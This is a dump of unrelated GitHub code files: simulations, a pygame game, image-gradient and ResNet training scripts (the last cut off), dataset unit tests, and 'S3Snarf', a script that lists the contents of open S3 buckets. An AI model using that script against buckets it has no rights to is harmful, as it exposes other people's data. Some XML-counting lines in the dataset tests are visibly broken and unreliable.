+{"seq_id":"12852924034","text":"import numpy as np\nfrom utils_log import MetricSaver\n\ndata = 1.\ndelta_t = 0.01\n\n\nclass GAN_simualte(object):\n def __init__(self, gantype, controller_d, damping):\n self.type = gantype\n self.controller_d = controller_d\n self.damping = damping\n self.d = 0.\n self.g = 0.\n\n def d_step(self):\n error = data - self.g\n error = self.controller_d(error)\n self.d += error * delta_t - self.damping * self.d\n\n def g_step(self):\n self.g += self.d * delta_t\n\n\nclass PID_controller(object):\n def __init__(self, p, i, d):\n self.p = p\n self.i = i\n self.d = d\n\n self.i_buffer = 0.\n self.d_buffer = 0.\n\n def __call__(self, error):\n p_signal = error\n\n self.i_buffer += error * delta_t\n i_signal = self.i_buffer\n\n d_signal = (error - self.d_buffer) / delta_t\n self.d_buffer = error\n\n return self.p * p_signal + self.i * i_signal + self.d * d_signal\n\n\np, i, d = 1, 0, 0\ndamping = 2.\nsaver = MetricSaver(\"Generator_{}_{}_{}_{}_g\".format(p, i, d, damping),\n \"./delta_gan/\",\n save_on_update=False)\nsaver1 = MetricSaver(\"Generator_{}_{}_{}_{}_d\".format(p, i, d, damping),\n \"./delta_gan/\",\n save_on_update=False)\ncontroller = PID_controller(p, i, d)\ngan = GAN_simualte('gan', controller, damping)\n\nfor i in range(200000):\n gan.d_step()\n gan.g_step()\n\n saver.update(i, gan.g, save=False)\n saver1.update(i, gan.d, save=False)\nsaver.save()\nsaver1.save()\n","repo_name":"taufikxu/GAN_PID","sub_path":"simulate_delta_gan.py","file_name":"simulate_delta_gan.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"}
+{"seq_id":"24947998025","text":"def anagram_check(A,B):\n ''' expects two strings'''\n A = ''.join(sorted(A))\n B = ''.join(sorted(B))\n return 'Anagrams' if A == B else 'Not Anagrams'\n\nword1 = input().upper()\nword2 = input().upper()\n\nprint(anagram_check(word1, word2))","repo_name":"s-cork/BIO","sub_path":"2006/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18899005789","text":"import pygame\r\nimport random\r\nimport math\r\n\r\n# Initialize Pygame\r\npygame.init()\r\npygame.font.init()\r\n\r\n# Game's Screen\r\nwidth = 800\r\nheight = 600\r\nscreen = pygame.display.set_mode((width, height))\r\n\r\n# Background\r\nbackground = pygame.image.load(\"resources/images/background.jpg\")\r\n\r\n# Sound\r\nbackground_sound = pygame.mixer.music.load(\r\n \"resources/audios/background_music.mp3\")\r\npygame.mixer.music.play(-1)\r\n\r\n# Icon's Game\r\nicon = pygame.image.load(\"resources/images/icon.png\")\r\npygame.display.set_icon(icon)\r\n\r\n# Game's Name\r\npygame.display.set_caption(\"Space Shooter\")\r\n\r\n# Explosion Sound\r\nexplosion_sound = pygame.mixer.Sound(\"resources/audios/explosion.wav\")\r\n\r\n# Player Variables\r\nplayer_img = pygame.image.load(\"resources/images/player.png\")\r\nplayerX = 350\r\nplayerY = 480\r\nplayer_positionX = 0\r\n\r\n# Bullet Variables\r\nbullet_img = pygame.image.load(\"resources/images/bullet.png\")\r\nbulletX = 0\r\nbulletY = 480\r\nbullet_state = 'loaded'\r\nbullet_positionY = 4\r\n\r\n# Enemy Variables\r\nenemy_img = []\r\nenemyX = []\r\nenemyY = []\r\nenemy_positionX = []\r\nenemies_number = 4\r\n\r\nfor i in range(enemies_number):\r\n\tenemy_img.append(pygame.image.load(\"resources/images/enemy.png\"))\r\n\tenemyX.append(random.randint(0, 736))\r\n\tenemyY.append(random.randint(0, 150))\r\n\tenemy_positionX.append(2)\r\n\r\n# Player Function\r\ndef player(playerX, playerY):\r\n\tscreen.blit(player_img, (playerX, playerY))\r\n\r\n# Shot Function\r\ndef shot(bulletX, bulletY):\r\n\tglobal bullet_state\r\n\tbullet_state = \"fired\"\r\n\tscreen.blit(bullet_img, (bulletX, bulletY))\r\n\r\n# Enemy Function\r\ndef enemy(enemyX, enemyY, i):\r\n\tscreen.blit(enemy_img[i], (enemyX, enemyY))\r\n\r\n# Collison Fuction\r\ndef isCollided(bulletX, bulletY, enemyX, enemyY):\r\n\tdistance = math.sqrt(math.pow(bulletX-enemyX, 2)+math.pow(bulletY-enemyY, 2))\r\n\r\n\tif distance <= 30:\r\n\t\treturn True\r\n\telse:\r\n\t\treturn False\r\n\r\n# Display Score\r\nscore = 0\r\nfont = pygame.font.Font(\"freesansbold.ttf\",32)\r\ndef showPunctuation():\r\n\tscore_value = font.render(\"SCORE: \" + str(score), True, \"grey\")\r\n\tscreen.blit(score_value, (10, 10))\r\n\r\n# Execution loop\r\nrunning = True\r\nwhile running:\r\n\tfor event in pygame.event.get():\r\n\t\tif event.type == pygame.QUIT:\r\n\t\t\trunning = False\r\n\r\n\t\tif event.type == pygame.KEYDOWN:\r\n\t\t\tif event.key == pygame.K_ESCAPE:\r\n\t\t\t\trunning = False\r\n\r\n\t\t\tif event.key == pygame.K_LEFT:\r\n\t\t\t\tplayer_positionX = -2\r\n\r\n\t\t\tif event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayer_positionX = 2\r\n\r\n\t\t\tif event.key == pygame.K_SPACE:\r\n\t\t\t\tif bullet_state == \"loaded\":\r\n\t\t\t\t\tbulletX = playerX\r\n\t\t\t\t\tshot(bulletX, bulletY)\r\n\r\n\t\tif event.type == pygame.KEYUP:\r\n\t\t\tif event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n\t\t\t\tplayer_positionX = 0\r\n\r\n\tscreen.blit(background, (0, 0))\r\n\tplayerX += player_positionX\r\n \t\r\n\t#Boundaries\r\n\r\n\tif playerX < 0:\r\n\t\tplayerX = 0\r\n\telif playerX > 709:\r\n\t\tplayerX = 709\r\n\r\n\tif bulletY <= 0:\r\n\t\tbulletY = 480\r\n\t\tbullet_state = \"loaded\"\r\n\r\n\tif bullet_state == \"fired\":\r\n\t\tshot(bulletX, bulletY)\r\n\t\tbulletY -= bullet_positionY\r\n\r\n\tfor i in range(enemies_number):\r\n\t\tenemyX[i] += enemy_positionX[i]\r\n\r\n\t\tif enemyX[i] < 0:\r\n\t\t\tenemy_positionX[i] = 1.5\r\n\t\t\tenemyY[i] += random.randint(0, 68)\r\n\t\telif enemyX[i] > 736:\r\n\t\t\tenemy_positionX[i] = -1.5\r\n\t\t\tenemyY[i] += random.randint(0, 68)\r\n\t\t\r\n\t\tif enemyY[i] > 430:\r\n\t\t\tscreen.blit(background, (0, 0))\r\n\t\t\tfont2 = pygame.font.Font(\"freesansbold.ttf\",60)\r\n\t\t\tgame_over = font2.render(\"Game Over \", True, \"white\")\r\n\t\t\tscreen.blit(game_over, (220, 250))\r\n\t\t\tbreak\r\n\r\n\t\tif isCollided(bulletX,bulletY,enemyX[i],enemyY[i]):\r\n\t\t\texplosion_sound.play()\r\n\t\t\tbulletY=480\r\n\t\t\tbullet_state ='loaded'\r\n\t\t\tscore+=10\r\n\r\n\t\t\tenemyX[i] = random.randint(0,736)\r\n\t\t\tenemyY[i] = random.randint(0,150)\r\n\r\n\r\n\t\tenemy(enemyX[i],enemyY[i],i)\r\n\r\n\tplayer(playerX, playerY)\r\n\tshowPunctuation()\r\n\tpygame.display.update()\r\n\r\npygame.quit()\r\n","repo_name":"lorenafajardo/Space-Shooter-Game","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"24355818642","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import Normalize\n\n\ndef gradient(raw_img: np.ndarray, operator: str = 'sobel'):\n row, col = raw_img.shape\n i = j = 0\n gradient = np.zeros((row, col))\n\n def gamma_trans(img, gamma):\n gamma_table = [np.power(x / 255.0, gamma) * 255.0 for x in range(256)]\n gamma_table = np.round(np.array(gamma_table)).astype(int)\n return cv.LUT(img, gamma_table)\n\n if operator == 'sobel':\n filter = (np.array([[-1, -2, -1],\n [0, 0, 0],\n [1, 2, 1]]),\n np.array([[-1, 0, 1],\n [-2, 0, 0],\n [1, 2, 1]]))\n\n temp_img = np.pad(raw_img, 1)\n while i < row:\n while j < col:\n local_img = temp_img[i:i + 3, j:j + 3]\n gradient[i][j] = abs((local_img * filter[0]).sum()) + abs((local_img * filter[1]).sum())\n j += 1\n j = 0\n i += 1\n elif operator == 'roberts':\n filter = (np.array([[-1, 0],\n [0, 1]]),\n np.array([[0, -1],\n [1, 0]]))\n\n temp_img = np.pad(raw_img, [0, 1])\n while i < row:\n while j < col:\n local_img = temp_img[i:i + 2, j:j + 2]\n gradient[i][j] = abs((local_img * filter[0]).sum()) + \\\n abs((local_img * filter[1]).sum())\n j += 1\n i += 1\n j = 0\n raw_mean = raw_img.mean()\n # gradient = gradient * (raw_mean / gradient.mean())\n gradient = gradient * (255. / gradient.max())\n out_img = raw_img + gradient\n # out_img = out_img.astype(np.uint8)\n\n if operator == 'sobel':\n out_img = out_img * (255. / out_img.max())\n out_img = out_img * (raw_mean / out_img.mean())\n # out_img = gamma_trans(out_img.astype(np.uint8), 0.75 )\n if operator == 'roberts':\n out_img = np.clip(out_img, a_min=0, a_max=255)\n # out_img = gamma_trans(out_img, 0.4)\n\n norm = Normalize(vmin=0, vmax=255)\n plt.figure(figsize=(6.4 * 3, 6.4))\n plt.subplot(131)\n plt.title('Raw image')\n plt.imshow(raw_img, cmap='gray', norm=norm)\n plt.subplot(132)\n plt.title('Enhanced image')\n plt.imshow(out_img, cmap='gray', norm=norm)\n plt.subplot(133)\n plt.title(operator + ' gradient')\n plt.imshow(gradient, cmap='gray', norm=norm)\n plt.show()\n return out_img.astype(int), gradient\n\n\n# %%\nraw_img_1 = cv.imread('Q4_1.tif', cv.IMREAD_GRAYSCALE)\nout_img_1, gradient_1 = gradient(raw_img_1, operator='sobel')\nout_img_2, gradient_2 = gradient(raw_img_1, operator='roberts')\n\n# %%\nraw_img_2 = cv.imread('Q4_2.tif', cv.IMREAD_GRAYSCALE)\nout_img_3, gradient_3 = gradient(raw_img_2, operator='sobel')\nout_img_4, gradient_4 = gradient(raw_img_2, operator='roberts')\n\n# %%\nimg = cv.fastNlMeansDenoising(raw_img_2, h=10, templateWindowSize=7, searchWindowSize=21)\nout_img_5, gradient_5 = gradient(img, operator='sobel')\nout_img_6, gradient_6 = gradient(img, operator='roberts')\n","repo_name":"sghuang19/dip-lab","sub_path":"lab4/gradient.py","file_name":"gradient.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"25248132178","text":"def factorial(n):\n s = 1\n for i in range(1,n+1):\n s = s*i\n return s\n \ndef sumchar(n):\n s = str(n)\n l = []\n for char in s:\n l.append(int(char))\n return sum(l)\n\nn = 100\nprint(n)\nnf = factorial(n)\nprint(nf)\nns = sumchar(nf)\nprint(ns)\n","repo_name":"ietsy/project_euler","sub_path":"Done/project20.py","file_name":"project20.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28586325155","text":"#!/usr/bin/env python3\n# snarfs data from open s3 buckets\nimport xml.etree.ElementTree as ET\nimport requests\nimport sys\n\nurl = sys.argv[1]\n\nr = requests.get(url) # get the s3 list if available\nroot = ET.fromstring(r.text) # set the root element\n\n# this doesn't work, not sure why since the\n# ListBucketResult has this attribute...\n# xmlns = root.attrib['xmlns']\n\n# since the above doesn't work, but s3 xmlns is static\n# we can just hardcode it here, but that sucks\nxmlns = '{http://s3.amazonaws.com/doc/2006-03-01/}'\nkeys = xmlns + 'Key'\n\nfor key in root.iter(keys):\n theFile = url + key.text\n print(theFile)\n\n# r = requests.get(theFile, stream=True)\n# if r.status_code == 200:\n# with open(key.text, 'wb') as f:\n# for chunk in r.iter_content():\n# f.write(chunk)\n","repo_name":"rossja/dotfiles","sub_path":"public/bin/s3Snarf.py","file_name":"s3Snarf.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"42822184442","text":"from collections import defaultdict\nimport gzip\nimport json\nimport unittest\n\nfrom swords import Label, LexSubDataset, LexSubGenerationTask, LexSubRankingTask, LexSubNoDuplicatesResult\nfrom swords.datasets import *\nfrom swords.eval import get_result, evaluate_mccarthy\nfrom swords.methods.semeval07 import SemEval07HITOOT\n\nclass TestDatasets(unittest.TestCase):\n def test_semeval07(self):\n semeval07_trial = semeval07('trial')\n self.assertEqual(semeval07_trial.stats(include_uninformative_labels=True), (299, 300, 6540, 7125))\n self.assertEqual(semeval07_trial.id(), DATASETS['semeval07_trial']['id'])\n semeval07_test = semeval07('test')\n self.assertEqual(semeval07_test.stats(include_uninformative_labels=True), (1710, 1710, 35191, 38881))\n self.assertEqual(semeval07_test.id(), DATASETS['semeval07_test']['id'])\n\n # Test table 4\n # TODO: Test rest of table 1/4\n r = LexSubNoDuplicatesResult.from_dict(get_result(semeval07_test, SemEval07HITOOT).as_dict())\n metrics = evaluate_mccarthy(semeval07_test, r, mode='oot')\n self.assertEqual(metrics['oot_p'], 33.92)\n self.assertEqual(metrics['oot_r'], 33.92)\n self.assertEqual(metrics['oot_mode_p'], 46.88)\n self.assertEqual(metrics['oot_mode_r'], 46.88)\n\n # Test equivalence with legacy AI Thesaurus version\n with gzip.open(ASSETS['test_semeval07_test_ait']['fp'], 'r') as f:\n ait = json.load(f)\n ait_ref = LexSubDataset.from_ait(ait)\n self.assertEqual(\n LexSubGenerationTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubGenerationTask.from_dict(ait_ref.as_dict()).id())\n self.assertNotEqual(\n LexSubRankingTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubRankingTask.from_dict(ait_ref.as_dict()).id())\n self.assertNotEqual(semeval07_test.id(), ait_ref.id())\n semeval07_test = semeval07('test', include_negatives=False)\n self.assertEqual(semeval07_test.stats(include_uninformative_labels=True), (1710, 1710, 6873, 10563))\n self.assertEqual(ait_ref.stats(include_uninformative_labels=True), (1710, 1710, 6873, 10563))\n self.assertEqual(\n LexSubGenerationTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubGenerationTask.from_dict(ait_ref.as_dict()).id())\n self.assertEqual(\n LexSubRankingTask.from_dict(semeval07_test.as_dict()).id(),\n LexSubRankingTask.from_dict(ait_ref.as_dict()).id())\n self.assertEqual(semeval07_test.id(), ait_ref.id())\n\n def test_twsi(self):\n twsi_all = twsi('all')\n self.assertEqual(twsi_all.stats(include_uninformative_labels=True), (25007, 25030, 1784746, 1819762))\n self.assertEqual(twsi_all.id(), DATASETS['twsi_all']['id'])\n\n def test_coinco(self):\n context_focus = ('Nathans_Bylichka.txt', 's-r845')\n\n coinco_dev = coinco('dev')\n self.assertEqual(coinco_dev.id(), DATASETS['coinco_dev']['id'])\n self.assertEqual(coinco_dev.stats(include_uninformative_labels=True), (1577, 10027, 462885, 494018))\n coinco_test = coinco('test')\n self.assertEqual(coinco_test.id(), DATASETS['coinco_test']['id'])\n self.assertEqual(coinco_test.stats(include_uninformative_labels=True), (896, 5388, 234338, 257906))\n\n # Parse original XML to get reference numbers\n with gzip.open(ASSETS['coinco_patched']['fp'], 'rt') as f:\n xml = f.read()\n expected_num_contexts = xml.count('')\n expected_num_substitutes = xml.count('', xml)])\n\n # Parse with contexts from XML\n coinco_dev = coinco('dev', include_surrounding_context=True, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.id(), 'd:6ad1adf891f0226de02310bc75a5f9d8f04d4504')\n coinco_test = coinco('test', include_surrounding_context=True, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.id(), 'd:c6d3b5ba88d3db7818c3e1418d5c4eaaaca82b73')\n s1r0 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s1r0 = context['context']\n break\n\n # Ensure number of contexts/targets/substitutes in dataset equals that of source file\n # NOTE: There is precisely *1* exact duplicate context in CoInCo (wsj_0006.txt:s-r0/s-r1)\n self.assertEqual(sum([len(d.all_context_ids()) for d in [coinco_dev, coinco_test]]), expected_num_contexts - 1)\n self.assertEqual(sum([len(d.all_target_ids()) for d in [coinco_dev, coinco_test]]), expected_num_targets)\n # NOTE: There is precisely *1* case-insensitive duplicate substitute in CoInCO (wsj_2465.txt:s-r18 \"TV\" vs \"tv\")\n self.assertEqual(sum([len(d.all_substitute_ids()) for d in [coinco_dev, coinco_test]]), expected_num_substitutes - 1)\n\n # Test equivalence with legacy AI Thesaurus version\n with gzip.open(ASSETS['test_coinco_test_ait']['fp'], 'r') as f:\n ait_ref = LexSubDataset.from_ait(json.load(f))\n for cid in coinco_test.all_context_ids():\n self.assertTrue(ait_ref.has_context(cid))\n for tid in coinco_test.all_target_ids():\n self.assertTrue(ait_ref.has_target(tid))\n for sid in coinco_test.all_substitute_ids():\n self.assertTrue(ait_ref.has_substitute(sid))\n\n # Ensure number of labels in dataset equals that of source file\n num_labels = 0\n for d in [coinco_dev, coinco_test]:\n for sid in d.all_substitute_ids():\n num_labels += len([l for l in d.get_substitute_labels(sid) if l == Label.TRUE_IMPLICIT])\n self.assertEqual(num_labels, expected_num_labels)\n\n # Parse with unrepaired target sentence only\n coinco_dev = coinco('dev', include_surrounding_context=False, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.id(), 'd:f1a241572eb11cff385fa50899d8cb080a0c865b')\n coinco_test = coinco('test', include_surrounding_context=False, repair_context=False, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.id(), 'd:05b72ec17d54f49103eb1ae08c7ab9453ada6714')\n s0r0 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s0r0 = context['context']\n break\n\n # Parse with repaired target sentence only\n coinco_dev = coinco('dev', include_surrounding_context=False, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.id(), 'd:61b0410ef2d6c72ccdf38a073975cff2627b838a')\n coinco_test = coinco('test', include_surrounding_context=False, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.id(), 'd:efeba6d05e31f6bf90d5b29fee3b57499954918e')\n s0r1 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s0r1 = context['context']\n break\n\n # Parse with unrepaired surrounding context\n # NOTE: Already done above\n\n # Parse with repaired surrounding context\n coinco_dev = coinco('dev', include_surrounding_context=True, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_dev.stats(include_uninformative_labels=True), (1422, 9603, 65362, 98950))\n self.assertEqual(coinco_dev.id(), 'd:27b473180bf00dae6f850affd8da71f2e22b86e3')\n coinco_test = coinco('test', include_surrounding_context=True, repair_context=True, include_negatives=False, skip_problematic=False)\n self.assertEqual(coinco_test.stats(include_uninformative_labels=True), (843, 5290, 44257, 68496))\n self.assertEqual(coinco_test.id(), 'd:094121b91f815c621d38e393f3a393bc82efd6b9')\n s1r1 = None\n for cid in coinco_dev.all_context_ids():\n context = coinco_dev.get_context(cid)\n if tuple(context['extra'][-1]['masc'][k] for k in ['document_fn', 'region_id']) == context_focus:\n s1r1 = context['context']\n break\n\n self.assertEqual(s0r0, \"\"\"‘What did you say?’,\"\"\")\n self.assertEqual(s0r1, \"\"\"‘What did you say?’\"\"\")\n self.assertEqual(s1r0, \"\"\"“Don’t name her ‘What did you say?’, okay? ‘What did you say?’, The next thing that comes out of your mouth is probably what she’ll respond to until we figure out how to put her back.”\"\"\")\n self.assertEqual(s1r1, \"\"\"I opened my mouth to ask for an explanation, but Nepthys stopped me. “Don’t name her ‘What did you say?’, okay? The next thing that comes out of your mouth is probably what she’ll respond to until we figure out how to put her back.”\"\"\")\n\n def test_swords(self):\n swords_dev = get_dataset('swords-v0.6_dev', ignore_cache=True)\n self.assertEqual(swords_dev.stats(include_uninformative_labels=True), (417, 417, 24095, 72285))\n num_outliers = sum([int(len(swords_dev.get_substitute_labels(sid)) != 3) for sid in swords_dev.all_substitute_ids()])\n self.assertEqual(num_outliers, 0)\n\n swords_test = get_dataset('swords-v0.6_test', ignore_cache=True)\n self.assertEqual(swords_test.stats(include_uninformative_labels=True), (833, 833, 47701, 143103))\n num_outliers = sum([int(len(swords_test.get_substitute_labels(sid)) != 3) for sid in swords_test.all_substitute_ids()])\n self.assertEqual(num_outliers, 0)\n\n swords_test = get_dataset('swords-v0.5_test', ignore_cache=True)\n self.assertEqual(swords_test.stats(include_uninformative_labels=True), (833, 833, 47718, 145344))\n num_over = sum([int(len(swords_test.get_substitute_labels(sid)) > 3) for sid in swords_test.all_substitute_ids()])\n num_under = sum([int(len(swords_test.get_substitute_labels(sid)) < 3) for sid in swords_test.all_substitute_ids()])\n self.assertEqual(num_over, 2164)\n self.assertEqual(num_under, 17)\n\n swords_dev = get_dataset('swords-v0.5_dev', ignore_cache=True)\n self.assertEqual(swords_dev.stats(include_uninformative_labels=True), (417, 417, 24095, 72648))\n num_outliers = sum([int(len(swords_dev.get_substitute_labels(sid)) != 3) for sid in swords_dev.all_substitute_ids()])\n self.assertEqual(num_outliers, 363)\n\n swords_test = get_dataset('swords-v0.4_test', ignore_cache=True)\n self.assertEqual(swords_test.stats(include_uninformative_labels=True), (832, 832, 47652, 142955))\n num_outliers = sum([int(len(swords_test.get_substitute_labels(sid)) != 3) for sid in swords_test.all_substitute_ids()])\n self.assertEqual(num_outliers, 13)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"p-lambda/swords","sub_path":"swords/datasets_test.py","file_name":"datasets_test.py","file_ext":"py","file_size_in_byte":10750,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"72"}
+{"seq_id":"72966889192","text":"print(\"##########################################################\", flush=True)\n\n# 0. Import Libraries and Mount Drive\nprint(\"0. Import Libraries and Mount Drive\", flush=True)\nimport cv2,os,sys\nfrom skimage import io\nfrom PIL import Image\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom tqdm import tqdm_notebook as tqdm\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import roc_auc_score,precision_score,accuracy_score,roc_curve\nimport torch\nfrom torch.utils.data import random_split,Dataset,DataLoader,SubsetRandomSampler\nfrom torch.utils.data import Dataset,TensorDataset,random_split,SubsetRandomSampler\nfrom torch.utils.data.dataset import Subset\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import transforms\nimport torchvision.models as models\nif torch.cuda.is_available():\n device = torch.device(\"cuda\")\n print(\"torch.device(cuda)\", flush=True)\n print(\"torch.cuda.device_count(): \", torch.cuda.device_count(), flush=True)\n for i in range(torch.cuda.device_count()):\n print(torch.cuda.get_device_name(), flush=True)\n print(\"torch.cuda.current_device()\", torch.cuda.current_device(), flush=True)\nelse:\n device = torch.device(\"cpu\")\n print(\"torch.device(cpu)\", flush=True)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\nhomepath = sys.argv[1]\ndatatype = sys.argv[2]\nrestype = sys.argv[3]\nprint(\"This is \"+restype, flush=True)\nprint(datatype, flush=True)\n# 1. Load and Process Images\nprint(\"1. Load and Process Images\", flush=True)\nX_Ctrl = np.load(homepath+\"/Datasets/Ctrl_\"+datatype+\".npy\",allow_pickle=True)\nX_VPA = np.load(homepath+\"/Datasets/VPA_\"+datatype+\".npy\",allow_pickle=True)\ny_Ctrl = torch.zeros(len(X_Ctrl), dtype=torch.int64)\ny_VPA = torch.ones(len(X_VPA), dtype=torch.int64)\nX = np.concatenate((X_Ctrl, X_VPA), axis = 0)\ny = torch.cat((y_Ctrl, y_VPA), 0)\nclass cell_dataset(Dataset):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.transform = transforms.ToTensor()\n def __len__(self):\n return len(self.x)\n def __getitem__(self, idx):\n return self.transform(self.x[idx]).to(torch.float), F.one_hot(self.y[idx],num_classes=2).to(torch.float)\ndataset = cell_dataset(X, y)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"3. Develop model\", flush=True)\nif restype==\"Resnet10_noavg\":\n class ResNet(nn.Module):\n def __init__(self):\n super(ResNet,self).__init__()\n self.resnet = models.resnet18(weights=True)\n self.resnet.layer3 = nn.Sequential()\n self.resnet.layer4 = nn.Sequential()\n self.resnet.avgpool = nn.Sequential()\n self.resnet.fc = nn.Linear(128*75*75, 2) \n def forward(self, x):\n x = self.resnet(x)\n x = nn.Softmax(dim=1)(x)\n return x\nelif restype==\"Resnet10\":\n class ResNet(nn.Module):\n def __init__(self):\n super(ResNet,self).__init__()\n self.resnet = models.resnet18(weights=True)\n self.resnet.layer3 = nn.Sequential()\n self.resnet.layer4 = nn.Sequential()\n self.resnet.fc = nn.Linear(128, 2) \n def forward(self, x):\n x = self.resnet(x)\n x = nn.Softmax(dim=1)(x)\n return x\nelif restype==\"Resnet18\":\n class ResNet(nn.Module):\n def __init__(self):\n super(ResNet,self).__init__()\n self.resnet = models.resnet18(weights=True)\n self.resnet.fc = nn.Linear(512, 2) \n def forward(self, x):\n x = self.resnet(x)\n x = nn.Softmax(dim=1)(x)\n return x \nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"4. Define Training and Validation\", flush=True)\ndef train(model,device,dataloader_train,loss_function,optimizer):\n losses_train = []\n n_train = 0\n acc_train = 0\n optimizer.step()\n model.train()\n for x, y in dataloader_train:\n n_train += y.size()[0]\n model.zero_grad() # 勾配の初期化\n x = x.to(device) # テンソルをGPUに移動\n y = y.to(device)\n output = model.forward(x) # 順伝播\n loss = loss_function(output, y) # 誤差(クロスエントロピー誤差関数)の計算\n loss.backward() # 誤差の逆伝播\n optimizer.step() # パラメータの更新\n acc_train += (output.argmax(1) == y[:,1]).float().sum().item()\n losses_train.append(loss.tolist())\n return np.mean(losses_train), (acc_train/n_train) \ndef valid(model,device,dataloader_valid,loss_function):\n losses_valid = []\n n_val = 0\n acc_val = 0\n model.eval()\n for x, y in dataloader_valid:\n n_val += y.size()[0]\n x = x.to(device) # テンソルをGPUに移動\n y = y.to(device)\n output = model.forward(x) # 順伝播\n loss = loss_function(output, y) # 誤差(クロスエントロピー誤差関数)の計算\n acc_val += (output.argmax(1) == y[:,1]).float().sum().item()\n losses_valid.append(loss.tolist())\n return np.mean(losses_valid), (acc_val/n_val)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"5. Train by KFold of Cross Validation\", flush=True)\nn_splits=5\nsplits=KFold(n_splits,shuffle=True,random_state=42)\nbatch_size = 128\nn_epochs = 500\nhistory = {'loss_train': [], 'loss_valid': [],'acc_train':[],'acc_valid':[]}\nfor fold, (train_idx, val_idx) in enumerate(splits.split(np.arange(len(dataset)))):\n print('Fold {}'.format(fold + 1), flush=True)\n train_sampler = SubsetRandomSampler(train_idx)\n valid_sampler = SubsetRandomSampler(val_idx)\n dataloader_train = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler)\n dataloader_valid = DataLoader(dataset, batch_size=batch_size, sampler=valid_sampler)\n model = ResNet().to(device)\n ngpu = 4\n if (device.type == 'cuda') and (ngpu > 1):\n model = nn.DataParallel(model, list(range(ngpu)))\n model.avgpool = nn.AdaptiveAvgPool2d(1)\n loss_function = nn.BCELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.00001)\n scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.99)\n for epoch in range(n_epochs):\n loss_train, acc_train = train(model,device,dataloader_train,loss_function,optimizer)\n loss_valid, acc_valid = valid(model,device,dataloader_valid,loss_function)\n scheduler.step()\n print('EPOCH: {}, Train [Loss: {:.3f}, Accuracy: {:.3f}], Valid [Loss: {:.3f}, Accuracy: {:.3f}]'\n .format(epoch, loss_train, acc_train, loss_valid, acc_valid), flush=True)\n history['loss_train'].append(loss_train)\n history['loss_valid'].append(loss_valid)\n history['acc_train'].append(acc_train)\n history['acc_valid'].append(acc_valid)\n savemodel = homepath+\"/Models/\"+restype+\"_\"+datatype+\"/\"+\"Fold\"+str(fold)+\".pkl\"\n for param in model.parameters():\n param.requires_grad = True\n torch.save(model.module.resnet.state_dict(),savemodel)\n print(\"saved model as \"+savemodel, flush=True)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"6. plot the figure of training process\", flush=True)\nloss_train_avg = np.zeros(n_epochs)\nloss_valid_avg = np.zeros(n_epochs)\nacc_train_avg = np.zeros(n_epochs)\nacc_valid_avg = np.zeros(n_epochs)\nfor num in range(n_splits):\n loss_train = history['loss_train'][num*n_epochs:(num+1)*n_epochs]\n loss_valid = history['loss_valid'][num*n_epochs:(num+1)*n_epochs]\n acc_train = history['acc_train'][num*n_epochs:(num+1)*n_epochs]\n acc_valid = history['acc_valid'][num*n_epochs:(num+1)*n_epochs]\n loss_train_avg+=loss_train\n loss_valid_avg+=loss_valid\n acc_train_avg+=acc_train\n acc_valid_avg+=acc_valid\n name_title=\"Fold_\"+str(num)+'_Training and Validation accuracy'\n savepath = homepath+\"/results/2023/Train/\"+restype+\"_\"+datatype+\"/\"+name_title+\".png\"\n plt.figure(figsize=(12, 8))\n plt.ylim(0,1.0)\n plt.plot(range(1,n_epochs+1), acc_train, 